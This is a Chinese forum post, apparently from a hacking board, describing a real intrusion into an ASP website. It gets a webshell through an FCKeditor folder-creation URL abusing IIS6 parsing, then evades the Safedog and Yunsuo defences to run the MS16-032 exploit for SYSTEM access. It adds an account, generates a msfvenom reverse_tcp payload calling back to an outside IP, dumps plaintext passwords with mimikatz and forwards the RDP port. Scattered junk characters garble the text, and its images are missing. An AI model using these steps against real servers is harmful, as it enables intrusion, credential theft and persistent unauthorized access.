从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

admin

; B' q' s$ }- y7 G! M

$ f2 p! B, `. Y4 n. I K( q1 v! O4 V5 C' X/ m$ ^( K3 O1 H% O5 S$ N# S' P5 U1 p$ z+ }! d

3 k: o* I; ^2 E: _4 d6 J % v/ E7 m! E# T2 C! f一、 利用getwebshell篇 * J& ~$ t9 Z" p 1 j8 j" w9 i O1 A首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图： a5 {' ~8 @, u* j. l5 i 下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到） 8 o6 r0 y2 Q' k5 |* o" h4 W下面我们构造一个asp目录，如： ! P, ~0 l1 M+ J http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 ' Q5 ^' o0 k: Y) O. y 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。 ! Y3 U0 p( s+ Q/ y9 s8 ]! {一、 绕过安全狗云锁提权并且加账号 没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干 ) C5 S O b! V7 h/ W+ F如图： + I; s3 Y) |, J- i/ g1 M然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit " y4 q" a5 Y0 y. L, t! m Q " w1 V: F% W/ A2 T一、 利用metasploit % H" z. h, x7 g. W& N$ H2 U 首先用pentestbox生成一个64位的payload如下命令 * D& ]8 e# n ~, t3 w1 S ' `, |. M! L' e1 lmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe & C; c+ }0 `$ p/ K8 |2 S: I 2 @+ q% ?: j& Y! b8 q$ c3 l为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图： - e4 ?# @- R4 W, H' H % O4 s* A. A5 ]: Y# d4 j4 ~下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图： # _2 p/ l7 D6 [6 ]- B5 w2 D & S* r' Y6 L$ W下面我们来做一个监听如下命令： portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图： , x& P: Y w, B) L5 R / L6 `9 \' i8 z3 ~ G/ b " b8 E6 D5 g, N1 c% k0 `' W

! r0 S% l; [ h9 X J) B

8 u4 M$ m0 g: g+ U4 ~. o# Y

7 g: d) k% S7 S2 z8 M% F! z, R
7 ?0 n1 C* k/ o. n* {1 C: I$ v

; A* a1 t' I; `% y& m7 r
: |& l: H& n1 W X% g5 Y# e

图片怎么都没了